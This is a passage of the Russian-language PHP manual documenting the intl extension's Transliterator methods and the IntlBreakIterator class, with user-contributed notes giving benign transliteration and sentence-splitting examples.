Возвращаемые значения

Возвращает объект Transliterator или null в случае возникновения ошибки.

Смотрите также

  • Transliterator::getErrorMessage() - Получить последнее сообщение об ошибке
  • Transliterator::create() - Создать транслитератор

User Contributed Notes

There are no user contributed notes for this page.


Создать инвертированный транслитератор

  • « Transliterator::createFromRules
  • Transliterator::getErrorCode »
  • PHP Manual
  • Transliterator
  • Создать инвертированный транслитератор

Transliterator::createInverse

transliterator_create_inverse

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::createInverse -- transliterator_create_inverse — Создать инвертированный транслитератор

Описание

Объектно-ориентированный стиль

public Transliterator::createInverse(): ?Transliterator

Процедурный стиль

transliterator_create_inverse(Transliterator $transliterator): ?Transliterator

Открывает инвертированный транслитератор.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект Transliterator или null в случае возникновения ошибки.

Смотрите также

  • Transliterator::getErrorMessage() - Получить последнее сообщение об ошибке
  • Transliterator::create() - Создать транслитератор

User Contributed Notes

There are no user contributed notes for this page.


Получить код последней ошибки

  • « Transliterator::createInverse
  • Transliterator::getErrorMessage »
  • PHP Manual
  • Transliterator
  • Получить код последней ошибки

Transliterator::getErrorCode

transliterator_get_error_code

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::getErrorCode -- transliterator_get_error_code — Получить код последней ошибки

Описание

Объектно-ориентированный стиль

public Transliterator::getErrorCode(): int|false

Процедурный стиль

transliterator_get_error_code(Transliterator $transliterator): int|false

Возвращает код последней ошибки.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

transliterator

Возвращаемые значения

Код ошибки или false, если ошибок не было или если получить его не удалось.

Смотрите также

  • Transliterator::getErrorMessage() - Получить последнее сообщение об ошибке
  • Transliterator::listIDs() - Получить идентификаторы транслитератора

User Contributed Notes

There are no user contributed notes for this page.


Получить последнее сообщение об ошибке

  • « Transliterator::getErrorCode
  • Transliterator::listIDs »
  • PHP Manual
  • Transliterator
  • Получить последнее сообщение об ошибке

Transliterator::getErrorMessage

transliterator_get_error_message

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::getErrorMessage -- transliterator_get_error_message — Получить последнее сообщение об ошибке

Описание

Объектно-ориентированный стиль

public Transliterator::getErrorMessage(): string|false

Процедурный стиль

transliterator_get_error_message(Transliterator $transliterator): string|false

Возвращает последнее сообщение об ошибке.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

transliterator

Возвращаемые значения

Сообщение об ошибке или false, если ошибок не было или если получить его не удалось.

Смотрите также

  • Transliterator::getErrorCode() - Получить код последней ошибки
  • Transliterator::listIDs() - Получить идентификаторы транслитератора

User Contributed Notes

There are no user contributed notes for this page.


Получить идентификаторы транслитератора

  • « Transliterator::getErrorMessage
  • Transliterator::transliterate »
  • PHP Manual
  • Transliterator
  • Получить идентификаторы транслитератора

Transliterator::listIDs

transliterator_list_ids

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::listIDs -- transliterator_list_ids — Получить идентификаторы транслитератора

Описание

Объектно-ориентированный стиль

public static Transliterator::listIDs(): array|false

Процедурный стиль

transliterator_list_ids(): array|false

Возвращает массив зарегистрированных идентификаторов транслитератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) зарегистрированных идентификаторов транслитератора или false в случае возникновения ошибки.

Примеры

Пример #1 Получение зарегистрированных идентификаторов транслитератора

<?php
print_r(Transliterator::listIDs());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => ASCII-Latin
    [1] => Accents-Any
    [2] => Amharic-Latin/BGN
    [3] => Any-Accents
    [4] => Any-Publishing
...
    [650] => Any-ps_Latn/BGN
    [651] => Any-tk/BGN
    [652] => Any-ch_FONIPA
    [653] => Any-cs_FONIPA
    [654] => Any-cy_FONIPA
)

Смотрите также

  • Transliterator::getErrorMessage() - Получить последнее сообщение об ошибке
  • Transliterator::transliterate() - Транслитерировать строку

User Contributed Notes

There are no user contributed notes for this page.


Транслитерировать строку

  • « Transliterator::listIDs
  • IntlBreakIterator »
  • PHP Manual
  • Transliterator
  • Транслитерировать строку

Transliterator::transliterate

transliterator_transliterate

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::transliterate -- transliterator_transliterate — Транслитерировать строку

Описание

Объектно-ориентированный стиль

public Transliterator::transliterate(string $string, int $start = 0, int $end = -1): string|false

Процедурный стиль

transliterator_transliterate(
Transliterator|string $transliterator,
string $string,
int $start = 0,
int $end = -1
): string|false

Преобразует строку или её часть, используя транслитератор ICU.

Список параметров

transliterator

В процедурном варианте, Transliterator или строка, из которой может быть собран объект Transliterator.

string

Строка для транслитерации.

start

Начальный индекс, включительно, (в кодовых единицах UTF-16), с которого начинается часть строки, предназначенная для транслитерации. Индексация начинается с 0. Текст до этой позиции останется как есть.

end

Начальный индекс, не включая, (в кодовых единицах UTF-16), которым заканчивается часть строки, предназначенная для транслитерации. Индексация начинается с 0. Текст с этой позиции останется как есть.

Возвращаемые значения

Преобразованная строка в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Конвертация экранированной UTF-16 строки

<?php
$s = "\u304A\u65E9\u3046\u3054\u3056\u3044\u307E\u3059";
echo transliterator_transliterate("Hex-Any/Java", $s), "\n";

//теперь обратная операция с дополнительным символом
$supplChar = html_entity_decode('&#x1D11E;');
echo mb_strlen($supplChar, "UTF-8"), "\n";
$encSupplChar = transliterator_transliterate("Any-Hex/Java", $supplChar);
//вывод двух кодированных UTF-16 символов
echo $encSupplChar, "\n";
//и назад
echo transliterator_transliterate("Hex-Any/Java", $encSupplChar), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

????????
1
\uD834\uDD1E
??

Смотрите также

  • Transliterator::getErrorMessage() - Получить последнее сообщение об ошибке
  • Transliterator::__construct() - Приватный конструктор

User Contributed Notes

Anonymous 14-Nov-2016 10:04
There are some possibly undesirable conversions with ASCII//TRANSLIT//IGNORE or your users may require some custom stuff.

You might want to run a substitution up front for certain things, such as when you want 3 letter ISO codes to replace currency symbols. ? transliterates to "lb", for example, which is incorrect since it's a currency symbol, not a weight symbol (#).

ASCII//TRANSLIT//IGNORE does a great job within the realm of possibility :-)

When it doesn't do something you want it to, you can set up a CSV with one replacement per line and run a function like:

    function stripByMap($inputString, $mapFile)
    {
        $csv = file($mapFile);
        foreach($csv as $line)
        {
            $arrLine = explode(',', trim($line));
            $inputString = str_replace($arrLine[0],$arrLine[1],$inputString);
        }
        return $inputString;
    }

or you can write some regexes. Transliterating using ASCII//TRANSLIT//IGNORE  works so well that your map probably won't be very long...
simonsimcity at gmail dot com 05-Jun-2014 08:16
Sorry, for posting it again, but I found a bug in my code:

If you have a character, like the cyrillic ь (a soft-sign - no sound), the "Any-Latin" would translate it to a prime-character, and the "Latin-ASCII" doesn't touch prime-characters. Therefore I added an option to remove all characters, that are higher than \u0100.

Here's my new code, including an example:

var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; [\u0100-\u7fff] remove',
    "A ? Ubermensch pa hoyeste niva! И я люблю PHP! есть. ?"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est. fi"

Another approach, I found quite helpful (if you by no way want to remove characters ...), try to use iconv() in addition. This surely will just return ASCII characters.

See: http://stackoverflow.com/a/3542748/517914

Also an example here:

var_dump(iconv("UTF-8", "ASCII//TRANSLIT//IGNORE", transliterator_transliterate('Any-Latin; Latin-ASCII',
    "A ? Ubermensch pa hoyeste niva! И я люблю PHP! есть. ?"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est'. fi"
simonsimcity at gmail dot com 15-Apr-2013 06:11
I pretty much like the idea of hdogan, but there's at least one group of characters he's missing: ligature characters.
They're at least used in Norwegian and I read something about French, too ... Some are just used for styling (f.e. ?)

Here's an example that supports all characters (should at least, according to the documentation):
<?php
var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; Lower()', "A ? Ubermensch pa hoyeste niva! И я люблю PHP! ?"));
// string(41) "a ae ubermensch pa hoyeste niva! i a lublu php! fi"
?>

In this example any character will firstly be converted to a latin character. If that's finished, replace all latin characters by their ASCII replacement.
hdogan at gmail dot com 11-Nov-2012 02:33
You can create slugs easily with:

<?php
function slugify($string) {
    $string = transliterator_transliterate("Any-Latin; NFD; [:Nonspacing Mark:] Remove; NFC; [:Punctuation:] Remove; Lower();", $string);
    $string = preg_replace('/[-\s]+/', '-', $string);
    return trim($string, '-');
}

echo slugify("Я люблю PHP!");
?>
jinmoku at hotmail dot com 09-Feb-2011 12:59
OOP version :

<?php
$str = 'aaaaaceeeeiiiinooooouuuuyy
AAAAACEEEEIIIINOOOOOUUUUY';
$rule = 'NFD; [:Nonspacing Mark:] Remove; NFC';

$myTrans = Transliterator::create($rule);
echo $myTrans->transliterate($str);

//aaaaaceeeeiiiinooooouuuuyy
//AAAAACEEEEIIIINOOOOOUUUUY
?>


Класс IntlBreakIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Итератор прерывания (Break iterator) - это объект ICU предоставляющий методы для определения границ в тексте (например границы слова или предложения). В PHP класс IntlBreakIterator служит базовым классом для всех типов итераторов прерывания ICU. Есть и дополнительная функциональность, модуль intl может расширять этот класс подходящими подклассами, такими как IntlRuleBasedBreakIterator или IntlCodePointBreakIterator.

Этот класс реализует интерфейс IteratorAggregate. Traversing an Итерация IntlBreakIterator порождает неотрицательные целые значения, представляющие из себя успешное нахождение границ в тексте, и равные позиции найденного символа UTF-8 отсчитанной от начала текста (позиция первого символа равна 0). Ключи возвращённых значений представляют из себя последовательность натуральных чисел {0, 1, 2, ...}.

Обзор классов

class IntlBreakIterator implements IteratorAggregate {
/* Константы */
public const int DONE;
public const int WORD_NONE;
public const int WORD_NONE_LIMIT;
public const int WORD_NUMBER;
public const int WORD_NUMBER_LIMIT;
public const int WORD_LETTER;
public const int WORD_LETTER_LIMIT;
public const int WORD_KANA;
public const int WORD_KANA_LIMIT;
public const int WORD_IDEO;
public const int WORD_IDEO_LIMIT;
public const int LINE_SOFT;
public const int LINE_SOFT_LIMIT;
public const int LINE_HARD;
public const int LINE_HARD_LIMIT;
public const int SENTENCE_TERM;
public const int SENTENCE_TERM_LIMIT;
public const int SENTENCE_SEP;
public const int SENTENCE_SEP_LIMIT;
/* Методы */
private __construct()
public static createCharacterInstance(?string $locale = null): ?IntlBreakIterator
public static createCodePointInstance(): IntlCodePointBreakIterator
public static createLineInstance(?string $locale = null): ?IntlBreakIterator
public static createSentenceInstance(?string $locale = null): ?IntlBreakIterator
public static createTitleInstance(?string $locale = null): ?IntlBreakIterator
public static createWordInstance(?string $locale = null): ?IntlBreakIterator
public current(): int
public first(): int
public following(int $offset): int
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(int $type): string|false
public getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator
public getText(): ?string
public isBoundary(int $offset): bool
public last(): int
public next(?int $offset = null): int
public preceding(int $offset): int
public previous(): int
public setText(string $text): ?bool
}

Предопределённые константы

IntlBreakIterator::DONE

IntlBreakIterator::WORD_NONE

IntlBreakIterator::WORD_NONE_LIMIT

IntlBreakIterator::WORD_NUMBER

IntlBreakIterator::WORD_NUMBER_LIMIT

IntlBreakIterator::WORD_LETTER

IntlBreakIterator::WORD_LETTER_LIMIT

IntlBreakIterator::WORD_KANA

IntlBreakIterator::WORD_KANA_LIMIT

IntlBreakIterator::WORD_IDEO

IntlBreakIterator::WORD_IDEO_LIMIT

IntlBreakIterator::LINE_SOFT

IntlBreakIterator::LINE_SOFT_LIMIT

IntlBreakIterator::LINE_HARD

IntlBreakIterator::LINE_HARD_LIMIT

IntlBreakIterator::SENTENCE_TERM

IntlBreakIterator::SENTENCE_TERM_LIMIT

IntlBreakIterator::SENTENCE_SEP

IntlBreakIterator::SENTENCE_SEP_LIMIT

Список изменений

Версия | Описание
8.0.0 | Класс IntlBreakIterator теперь реализует интерфейс IteratorAggregate. Ранее вместо этого был реализован интерфейс Traversable.

Содержание

  • IntlBreakIterator::__construct — Закрытый конструктор, запрещающий создание экземпляров объекта
  • IntlBreakIterator::createCharacterInstance — Создаёт итератор прерывания для границ комбинирования последовательностей символов
  • IntlBreakIterator::createCodePointInstance — Создаёт итератор прерывания для границ кодовых точек
  • IntlBreakIterator::createLineInstance — Создаёт итератор прерывания для логически возможных разрывов строк
  • IntlBreakIterator::createSentenceInstance — Создаёт итератор прерывания для разрывов предложений
  • IntlBreakIterator::createTitleInstance — Создаёт итератор прерывания для разрывов заголовков
  • IntlBreakIterator::createWordInstance — Создаёт итератор прерывания для разрывов слов
  • IntlBreakIterator::current — Возвращает индекс текущей позиции
  • IntlBreakIterator::first — Устанавливает позицию к первому символу в тексте
  • IntlBreakIterator::following — Перемещает итератор к первой границе после указанного смещения
  • IntlBreakIterator::getErrorCode — Возвращает последний код ошибки объекта
  • IntlBreakIterator::getErrorMessage — Возвращает последнее сообщение об ошибке объекта
  • IntlBreakIterator::getLocale — Возвращает локаль, связанную с объектом
  • IntlBreakIterator::getPartsIterator — Создаёт итератор для перемещения фрагментов между границами
  • IntlBreakIterator::getText — Возвращает сканируемый текст
  • IntlBreakIterator::isBoundary — Сообщает, является ли смещение смещением границы
  • IntlBreakIterator::last — Устанавливает позицию итератора к индексу за последним символом
  • IntlBreakIterator::next — Перемещает итератор к следующей границе
  • IntlBreakIterator::preceding — Устанавливает позицию итератора к первой границе перед смещением
  • IntlBreakIterator::previous — Устанавливает позицию итератора на границе непосредственно перед текущей
  • IntlBreakIterator::setText — Устанавливает сканируемый текст

User Contributed Notes

SenseException 04-Dec-2013 08:53
Since there is no excample for the usage of the IntlBreakIterator yet, I made a small one:

<?php

$text = "Si contano i danni. Un morto a Roma, un treno ".
"deragliato e quattro feriti a Foggia, strade chiuse in tutto ".
"il sud, allagamenti e danni sulla costa ionica. A Pescara, ".
"1.500 sfollati per l'esondazione del Fosso Vallelunga. ".
"Dall'inizio dell'anno l'agricoltura ha subito un miliardo ".
"di euro di danni.";

$locale = 'it_IT';

$i = IntlBreakIterator::createSentenceInstance($locale);
$i->setText($text);

foreach($i->getPartsIterator() as $sentence) {
    echo $sentence . PHP_EOL . '----- next -----' .  PHP_EOL;
}

?>

Result:

Si contano i danni.
----- next -----
Un morto a Roma, un treno deragliato e quattro feriti a Foggia, strade chiuse in tutto il sud, allagamenti e danni sulla costa ionica.
----- next -----
A Pescara, 1.500 sfollati per l'esondazione del Fosso Vallelunga.
----- next -----
Dall'inizio dell'anno l'agricoltura ha subito un miliardo di euro di danni.
----- next -----


Закрытый конструктор, запрещающий создание экземпляров объекта

  • « IntlBreakIterator
  • IntlBreakIterator::createCharacterInstance »
  • PHP Manual
  • IntlBreakIterator
  • Закрытый конструктор, запрещающий создание экземпляров объекта

IntlBreakIterator::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::__construct — Закрытый конструктор, запрещающий создание экземпляров объекта

Описание

private IntlBreakIterator::__construct()

Экземпляры IntlBreakIterator должны быть созданы с помощью одного из статических фабричных методов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • IntlBreakIterator::createCharacterInstance() - Создаёт итератор прерывания для границ комбинирования последовательностей символов
  • IntlBreakIterator::createCodePointInstance() - Создаёт итератор прерывания для границ кодовых точек
  • IntlBreakIterator::createLineInstance() - Создаёт итератор прерывания для логически возможных разрывов строк
  • IntlBreakIterator::createSentenceInstance() - Создаёт итератор прерывания для разрывов предложений
  • IntlBreakIterator::createTitleInstance() - Создаёт итератор прерывания для разрывов заголовков
  • IntlBreakIterator::createWordInstance() - Создаёт итератор прерывания для разрывов слов

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор прерывания для границ комбинирования последовательностей символов

  • « IntlBreakIterator::__construct
  • IntlBreakIterator::createCodePointInstance »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор прерывания для границ комбинирования последовательностей символов

IntlBreakIterator::createCharacterInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createCharacterInstance — Создаёт итератор прерывания для границ комбинирования последовательностей символов

Описание

public static IntlBreakIterator::createCharacterInstance(?string $locale = null): ?IntlBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locale

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор прерывания для границ кодовых точек

  • « IntlBreakIterator::createCharacterInstance
  • IntlBreakIterator::createLineInstance »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор прерывания для границ кодовых точек

IntlBreakIterator::createCodePointInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createCodePointInstance — Создаёт итератор прерывания для границ кодовых точек

Описание

public static IntlBreakIterator::createCodePointInstance(): IntlCodePointBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор прерывания для логически возможных разрывов строк

  • « IntlBreakIterator::createCodePointInstance
  • IntlBreakIterator::createSentenceInstance »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор прерывания для логически возможных разрывов строк

IntlBreakIterator::createLineInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createLineInstance — Создаёт итератор прерывания для логически возможных разрывов строк

Описание

public static IntlBreakIterator::createLineInstance(?string $locale = null): ?IntlBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locale

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор прерывания для разрывов предложений

  • « IntlBreakIterator::createLineInstance
  • IntlBreakIterator::createTitleInstance »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор прерывания для разрывов предложений

IntlBreakIterator::createSentenceInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createSentenceInstance — Создаёт итератор прерывания для разрывов предложений

Описание

public static IntlBreakIterator::createSentenceInstance(?string $locale = null): ?IntlBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locale

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор прерывания для разрывов заголовков

  • « IntlBreakIterator::createSentenceInstance
  • IntlBreakIterator::createWordInstance »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор прерывания для разрывов заголовков

IntlBreakIterator::createTitleInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createTitleInstance — Создаёт итератор прерывания для разрывов заголовков

Описание

public static IntlBreakIterator::createTitleInstance(?string $locale = null): ?IntlBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locale

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор прерывания для разрывов слов

  • « IntlBreakIterator::createTitleInstance
  • IntlBreakIterator::current »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор прерывания для разрывов слов

IntlBreakIterator::createWordInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::createWordInstance — Создаёт итератор прерывания для разрывов слов

Описание

public static IntlBreakIterator::createWordInstance(?string $locale = null): ?IntlBreakIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

locale

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущей позиции

  • « IntlBreakIterator::createWordInstance
  • IntlBreakIterator::first »
  • PHP Manual
  • IntlBreakIterator
  • Возвращает индекс текущей позиции

IntlBreakIterator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::current — Возвращает индекс текущей позиции

Описание

public IntlBreakIterator::current(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает позицию к первому символу в тексте

  • « IntlBreakIterator::current
  • IntlBreakIterator::following »
  • PHP Manual
  • IntlBreakIterator
  • Устанавливает позицию к первому символу в тексте

IntlBreakIterator::first

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::first — Устанавливает позицию к первому символу в тексте

Описание

public IntlBreakIterator::first(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к первой границе после указанного смещения

  • « IntlBreakIterator::first
  • IntlBreakIterator::getErrorCode »
  • PHP Manual
  • IntlBreakIterator
  • Перемещает итератор к первой границе после указанного смещения

IntlBreakIterator::following

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::following — Перемещает итератор к первой границе после указанного смещения

Описание

public IntlBreakIterator::following(int $offset): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последний код ошибки объекта

  • « IntlBreakIterator::following
  • IntlBreakIterator::getErrorMessage »
  • PHP Manual
  • IntlBreakIterator
  • Возвращает последний код ошибки объекта

IntlBreakIterator::getErrorCode

intl_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getErrorCode -- intl_get_error_code — Возвращает последний код ошибки объекта

Описание

Объектно-ориентированный стиль (метод):

public IntlBreakIterator::getErrorCode(): int

Процедурный стиль:

intl_get_error_code(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее сообщение об ошибке объекта

  • « IntlBreakIterator::getErrorCode
  • IntlBreakIterator::getLocale »
  • PHP Manual
  • IntlBreakIterator
  • Возвращает последнее сообщение об ошибке объекта

IntlBreakIterator::getErrorMessage

intl_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getErrorMessage -- intl_get_error_message — Возвращает последнее сообщение об ошибке объекта

Описание

Объектно-ориентированный стиль (метод):

public IntlBreakIterator::getErrorMessage(): string

Процедурный стиль:

intl_get_error_message(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает локаль, связанную с объектом

  • « IntlBreakIterator::getErrorMessage
  • IntlBreakIterator::getPartsIterator »
  • PHP Manual
  • IntlBreakIterator
  • Возвращает локаль, связанную с объектом

IntlBreakIterator::getLocale

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getLocale — Возвращает локаль, связанную с объектом

Описание

public IntlBreakIterator::getLocale(int $type): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

type

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт итератор для перемещения фрагментов между границами

  • « IntlBreakIterator::getLocale
  • IntlBreakIterator::getText »
  • PHP Manual
  • IntlBreakIterator
  • Создаёт итератор для перемещения фрагментов между границами

IntlBreakIterator::getPartsIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getPartsIterator — Создаёт итератор для перемещения фрагментов между границами

Описание

public IntlBreakIterator::getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

type

Необязательный тип ключа. Возможные значения:

  • IntlPartsIterator::KEY_SEQUENTIAL - Значение по умолчанию. Последовательно увеличивает целые числа, используемые в качестве ключа.
  • IntlPartsIterator::KEY_LEFT - Байтовое смещение слева от текущей части, используемой в качестве ключа.
  • IntlPartsIterator::KEY_RIGHT - Байтовое смещение справа от текущей части, используемой в качестве ключа.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сканируемый текст

  • « IntlBreakIterator::getPartsIterator
  • IntlBreakIterator::isBoundary »
  • PHP Manual
  • IntlBreakIterator
  • Возвращает сканируемый текст

IntlBreakIterator::getText

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::getText — Возвращает сканируемый текст

Описание

public IntlBreakIterator::getText(): ?string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Сообщает, является ли смещение смещением границы

  • « IntlBreakIterator::getText
  • IntlBreakIterator::last »
  • PHP Manual
  • IntlBreakIterator
  • Сообщает, является ли смещение смещением границы

IntlBreakIterator::isBoundary

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::isBoundary — Сообщает, является ли смещение смещением границы

Описание

public IntlBreakIterator::isBoundary(int $offset): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает позицию итератора к индексу за последним символом

  • « IntlBreakIterator::isBoundary
  • IntlBreakIterator::next »
  • PHP Manual
  • IntlBreakIterator
  • Устанавливает позицию итератора к индексу за последним символом

IntlBreakIterator::last

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::last — Устанавливает позицию итератора к индексу за последним символом

Описание

public IntlBreakIterator::last(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующей границе

  • « IntlBreakIterator::last
  • IntlBreakIterator::preceding »
  • PHP Manual
  • IntlBreakIterator
  • Перемещает итератор к следующей границе

IntlBreakIterator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::next — Перемещает итератор к следующей границе

Описание

public IntlBreakIterator::next(?int $offset = null): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает позицию итератора к первой границе перед смещением

  • « IntlBreakIterator::next
  • IntlBreakIterator::previous »
  • PHP Manual
  • IntlBreakIterator
  • Устанавливает позицию итератора к первой границе перед смещением

IntlBreakIterator::preceding

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::preceding — Устанавливает позицию итератора к первой границе перед смещением

Описание

public IntlBreakIterator::preceding(int $offset): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает позицию итератора на границе непосредственно перед текущей

  • « IntlBreakIterator::preceding
  • IntlBreakIterator::setText »
  • PHP Manual
  • IntlBreakIterator
  • Устанавливает позицию итератора на границе непосредственно перед текущей

IntlBreakIterator::previous

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::previous — Устанавливает позицию итератора на границе непосредственно перед текущей

Описание

public IntlBreakIterator::previous(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает сканируемый текст

  • « IntlBreakIterator::previous
  • IntlRuleBasedBreakIterator »
  • PHP Manual
  • IntlBreakIterator
  • Устанавливает сканируемый текст

IntlBreakIterator::setText

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlBreakIterator::setText — Устанавливает сканируемый текст

Описание

public IntlBreakIterator::setText(string $text): ?bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

text

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlRuleBasedBreakIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Подкласс IntlBreakIterator, который реализует итератор прерываний ICU, чьё поведение задано набором правил. Это наиболее часто используемый тип итератора прерываний.

Правила описаны в разделе » Руководство пользователя по анализу границ ICU.

Обзор классов

class IntlRuleBasedBreakIterator extends IntlBreakIterator {
/* Наследуемые константы */
public const int IntlBreakIterator::DONE;
public const int IntlBreakIterator::WORD_NONE;
public const int IntlBreakIterator::WORD_NONE_LIMIT;
public const int IntlBreakIterator::WORD_NUMBER;
public const int IntlBreakIterator::WORD_NUMBER_LIMIT;
public const int IntlBreakIterator::WORD_LETTER;
public const int IntlBreakIterator::WORD_LETTER_LIMIT;
public const int IntlBreakIterator::WORD_KANA;
public const int IntlBreakIterator::WORD_KANA_LIMIT;
public const int IntlBreakIterator::WORD_IDEO;
public const int IntlBreakIterator::WORD_IDEO_LIMIT;
public const int IntlBreakIterator::LINE_SOFT;
public const int IntlBreakIterator::LINE_SOFT_LIMIT;
public const int IntlBreakIterator::LINE_HARD;
public const int IntlBreakIterator::LINE_HARD_LIMIT;
public const int IntlBreakIterator::SENTENCE_TERM;
